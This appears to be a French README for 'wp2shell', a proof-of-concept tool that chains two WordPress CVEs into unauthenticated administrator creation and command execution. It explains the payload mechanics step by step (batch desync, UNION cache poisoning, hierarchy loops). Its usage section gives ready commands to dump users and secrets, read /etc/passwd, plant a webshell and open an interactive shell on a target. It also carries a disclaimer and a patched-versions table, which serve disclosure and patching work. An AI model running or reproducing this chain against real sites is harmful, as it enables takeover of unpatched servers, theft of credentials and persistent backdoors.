
PoC pour CVE-2026-63030 + CVE-2026-60137, alias WP2Shell
Exécution de code à distance sans authentification pour WordPress 6.9.0–6.9.4 et 7.0.0–7.0.1.
Enchaîne CVE-2026-63030 (SQLi par confusion de routes dans le batch) avec CVE-2026-60137 (ré-entrée de changeset du customizer) pour parvenir à la création d'un administrateur sans authentification et à l'exécution de commandes système. Aucun craquage de mot de passe requis.

Merci à hashkitten pour la découverte, consultez l'analyse technique complète de SLCyber ici.
Le processeur de lots de l'API REST de WordPress (serve_batch_request_v1) contient un bug d'indexation off-by-one : lorsque wp_parse_url() échoue sur le chemin d'une sous-requête, le WP_Error résultant est poussé dans $validation[] mais pas dans $matches[]. Cela désynchronise les deux tableaux — chaque requête suivante est acheminée vers le mauvais handler.
En imbriquant un lot soigneusement structuré dans un autre lot, un attaquant peut :
author__not_in (le cast chaîne→tableau ignore absint())UNION SELECT pour empoisonner le cache d'objets de WordPress avec de faux objets de publicationUne fois la configuration terminée (découverte du préfixe de table et de l'ID admin), la charge utile d'escalade se déclenche en une seule requête HTTP — l'empoisonnement du cache, l'élévation de privilèges et la création d'utilisateur se produisent tous côté serveur en un seul aller-retour.
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
Empoisonnement du cache (7 fausses publications via UNION) :
[embed] dans son contenucustomize_changeset, statut future, date dans le passé)post_type=nav_menu_item pour le contrôle is_nav_menu_item)post_type=request, post_status=parse, parent=inner)Flux d'exécution :
[embed] se déclenchewp_update_postwp_update_post lit le changeset en cache (parent=outer) → le contrôle de hiérarchie détecte Loop 1future → conversion automatique en publish_wp_customize_publish_changeset se déclenche → wp_set_current_user(admin_id) → contexte admin actifnav_menu_item[real_id] — le cache indique type=nav_menu_item → chemin UPDATEobject_id se résout en une publication en cache avec post_parent=re-entry → wp_update_post sur la publication réelleUne variable de session MySQL anti-récursion (@_wp2s) garantit que la chaîne se déclenche exactement une fois et ne boucle pas.
--cleanup supprime l'utilisateur créé et retire le webshell à la sortiegit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Pas de pip install, pas de virtualenv. C'est un seul fichier.
# Passive boolean oracle test
python3 wp2shell.py check http://target.com
# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users
# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i
# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
Les commandes check et read fonctionnent sur toute cible affectée. La chaîne exploit a trois conditions supplémentaires :
Si la cible utilise Redis ou Memcached comme cache d'objets, split_the_query est forcé quel que soit per_page, et les lignes UNION sont rejetées lors de la récupération par ID uniquement. La commande read fonctionne toujours (l'extraction aveugle n'a pas besoin que UNION survive dans le cache), mais exploit échouera.
| Branche | Versions vulnérables | Corrigé |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
Le correctif ajoute $matches[] = $single_request; pour les cas d'erreur (corrigeant le off-by-one) et une garde de ré-entrée dans serve_request().
wp2shell.py (single file, ~1650 lines)
├── Client HTTP transport with batch URL negotiation
├── Desync Nested batch payload construction
├── BlindExtractor Boolean binary search (universal)
├── UnionExtractor In-band via forged post_title (fastest)
├── ErrorExtractor EXTRACTVALUE-based (intermediate)
├── PoisonGraph Hierarchy loop structure for cache poisoning
├── Exploiter Chain orchestration (seed → extract → escalate)
└── AdminSession Authenticated session, webshell, cleanup
Pourquoi /wp/v2/widgets comme route source ?
Le contrôleur Widgets n'enregistre pas per_page, orderby ni author_exclude dans son schéma d'endpoint. Ces paramètres passent la validation sans être modifiés (les paramètres inconnus sont ignorés par le validateur de schéma). Lorsque la désynchronisation achemine cette requête via le contrôleur Posts, ces valeurs brutes circulent directement dans WP_Query.
Pourquoi per_page=500 ?
class-wp-query.php:3375 — split_the_query nécessite !empty($limits) && posts_per_page < 500. Avec per_page=500, la condition 500 < 500 est fausse, donc split_the_query est désactivé. La requête complète (y compris UNION) s'exécute comme une seule instruction, et toutes les lignes injectées survivent dans le jeu de résultats et le cache.
Pourquoi nav_menu_item[real_id] (ID positif) ?
L'utilisation d'un ID de publication positif conduit au chemin UPDATE à nav-menu.php:614, qui appelle wp_update_post avec un $post_id non nul. C'est critique car wp_check_post_hierarchy_for_loops à post.php:8070 retourne prématurément lorsque $post_id = 0 (nouvelles publications). Le cache est empoisonné avec post_type=nav_menu_item pour cet ID afin que is_nav_menu_item() passe le contrôle de type à nav-menu.php:426. Le chemin UPDATE déclenche ensuite le contrôle de hiérarchie qui détecte Loop 2.
Pourquoi deux boucles de hiérarchie ?
La boucle 1 (changeset ↔ outer) déclenche la publication du changeset et définit le contexte admin. La boucle 2 (re-entry ↔ inner) se déclenche pendant la fenêtre admin (à l'intérieur de l'appel save() du paramètre d'élément de menu de navigation dans la boucle de publication du changeset) et déclenche parse_request → ré-entrée REST. Les boucles sont indépendantes car le correctif de la boucle 2 doit écrire la publication de ré-entrée en base pendant la fenêtre admin à la ligne 3581 — avant la réinitialisation à la ligne 3589.
Cet outil est publié à des fins de tests de sécurité autorisés et de recherche. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques est illégal.
Recherche et développement par CryptoCat.
$post_id non nul) détecte Loop 2 (re-entry ↔ inner)wp_update_post(re-entry) → écrit type=request, status=parse en basewp_transition_post_status déclenche do_action("parse_request") → rest_api_loaded() → serve_request()POST /wp/v2/users en fin de lot réussit → administrateur créé → die()| Exigence | Pourquoi | WP par défaut ? |
|---|
| Au moins une publication publiée | oEmbed a besoin d'une URL locale pour déclencher le traitement des embeds | Oui (Hello World) |
| Aucun cache d'objets persistant | Split-the-query doit être désactivé pour que les lignes UNION survivent | Oui (cache fichier par défaut) |
| API REST accessible | La ré-entrée via parse_request nécessite le serveur REST | Oui |
| Écriture directe sur le système de fichiers | Le téléversement de plugin nécessite FS_METHOD=direct ou que PHP possède wp-content | Oui (la plupart des hébergeurs) |